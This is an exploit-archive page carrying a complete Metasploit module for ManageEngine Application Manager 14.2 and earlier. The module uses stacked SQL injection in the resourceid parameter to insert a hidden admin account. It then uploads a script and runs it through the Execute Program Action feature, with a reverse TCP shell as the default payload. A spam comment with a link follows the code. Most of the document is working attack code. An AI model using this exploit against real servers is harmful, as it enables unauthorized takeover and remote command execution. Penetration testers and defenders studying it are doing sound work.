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ManageEngine Application Manager 14.2 Privilege Escalation / Remote Command Execution

ManageEngine Application Manager 14.2 Privilege Escalation / Remote Command Execution
Posted Aug 12, 2019
Authored by Ozkan Mustafa Akkus | Site metasploit.com

This Metasploit module exploits SQL injection and command injection vulnerabilities in the ManageEngine Application Manager versions 14.2 and below.

tags | exploit, vulnerability, sql injection
MD5 | 0ac9d16b6adea824853380d752906b83

ManageEngine Application Manager 14.2 Privilege Escalation / Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Application Manager v14.2 - Privilege Escalation / Remote Command Execution",
'Description' => %q(
This module exploits sqli and command injection vulnerability in the ME Application Manager v14.2 and prior versions.

Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
Therefore low authority user can gain the authority of "system" on the server.
It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager.

/////// This 0day has been published at DEFCON-AppSec Village. ///////

),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
[ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-APM-v14-Privilege-Escalation-Remote-Command-Execution.html' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 60,
'RPORT' => 9090,
'SSL' => false,
'PAYLOAD' => 'generic/shell_reverse_tcp'
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['unix', 'win'],
'Targets' =>
[
[ 'Windows Target',
{
'Platform' => ['win'],
'Arch' => ARCH_CMD,
}
],
[ 'Linux Target',
{
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
}
}
}
]
],
'DisclosureDate' => '10 August 2019 //DEFCON',
'DefaultTarget' => 0))

register_options(
[
OptString.new('USERNAME', [true, 'OpManager Username']),
OptString.new('PASSWORD', [true, 'OpManager Password']),
OptString.new('TARGETURI', [true, 'Base path for ME application', '/'])
],self.class)
end

def check_platform(cookie)

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'showTile.do'),
'cookie' => cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
}
)
if res && res.code == 200 && res.body.include?('createExecProgAction')
@dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
if @dir =~ /:/
platform = Msf::Module::Platform::Windows
else
platform = Msf::Module::Platform::Unix
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
end
file_up(cookie, platform, @dir)
end

def file_up(cookie, platform, dir)
if platform == Msf::Module::Platform::Windows
filex = ".bat"
else
if payload.encoded =~ /sh/
filex = ".sh"
elsif payload.encoded =~ /perl/
filex = ".pl"
elsif payload.encoded =~ /awk 'BEGIN{/
filex = ".sh"
elsif payload.encoded =~ /python/
filex = ".py"
elsif payload.encoded =~ /ruby/
filex = ".rb"
else
fail_with(Failure::Unknown, 'Payload type could not be checked!')
end
end

@fname= rand_text_alpha(9 + rand(3)) + filex
data = Rex::MIME::Message.new
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")

res = send_request_cgi({
'method' => 'POST',
'data' => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "Upload.do")
})

if res && res.code == 200 && res.body.include?('icon_message_success')
print_good("#{@fname} malicious file has been uploaded.")
create_exec_prog(cookie, dir, @fname)
else
fail_with(Failure::Unknown, 'The file could not be uploaded!')
end
end

def create_exec_prog(cookie, dir, fname)

@display = rand_text_alphanumeric(7)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),
'cookie' => cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5,
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
}
)

if res && res.code == 200 && res.body.include?('icon_message_success')
actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]
print_status("Transactions completed. Attempting to get a session...")
exec(cookie, actionid)
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end
end

def exec(cookie, action)
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
}
)
end

def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end

def print_status(msg='')
super("#{peer} - #{msg}")
end

def print_error(msg='')
super("#{peer} - #{msg}")
end

def print_good(msg='')
super("#{peer} - #{msg}")
end

def check

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.do'),
)
# For this part the build control will be placed.
if res && res.code == 200 && res.body.include?('Build No:142')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def app_login

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)

if res && res.code == 200 && res.body.include?('.loginDiv')
@cookie = res.get_cookies

res = send_request_cgi(
'method' => 'POST',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'submit' => 'Login'
}
)

if res && res.code == 303
res = send_request_cgi(
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)

@cookie = res.get_cookies
send_sqli(@cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
end

else
fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.')
end
end

def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
app_login
end

def send_sqli(cookies)

@uname = Rex::Text.rand_text_alpha_lower(6)
uid = rand_text_numeric(3)
apk = rand_text_numeric(6)
@pwd = rand_text_alphanumeric(8+rand(9))
@uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)"
pg_user =""
pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
ms_user =""
ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie' => cookies
)

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie' => cookies
)

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)

if res && res.code == 200 && res.body.include?('.loginDiv')
@cookie = res.get_cookies

res = send_request_cgi(
'method' => 'POST',
'cookie' => @cookie,
'uri' => normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => @uname,
'j_password' => @pwd,
'submit' => 'Login'
}
)
print @uname + "//" + @pwd
puts res.body
if res && res.code == 303
print_good("Privilege Escalation was successfully performed.")
print_good("New APM admin username = " + @uname)
print_good("New APM admin password = " + @pwd)
res = send_request_cgi(
'cookie' => @cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)

@cookie = res.get_cookies
check_platform(@cookie)
else
fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
end
else
fail_with(Failure::NotVulnerable, 'Something went wrong!')
end
end
end

Comments (1)

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fredluis721

I've spent ages looking for this on the web. Thank God someone did post it. Thanks www.volusiatreecompany.com

Comment by fredluis721
2019-08-14 05:48:56 UTC | Permalink | Reply
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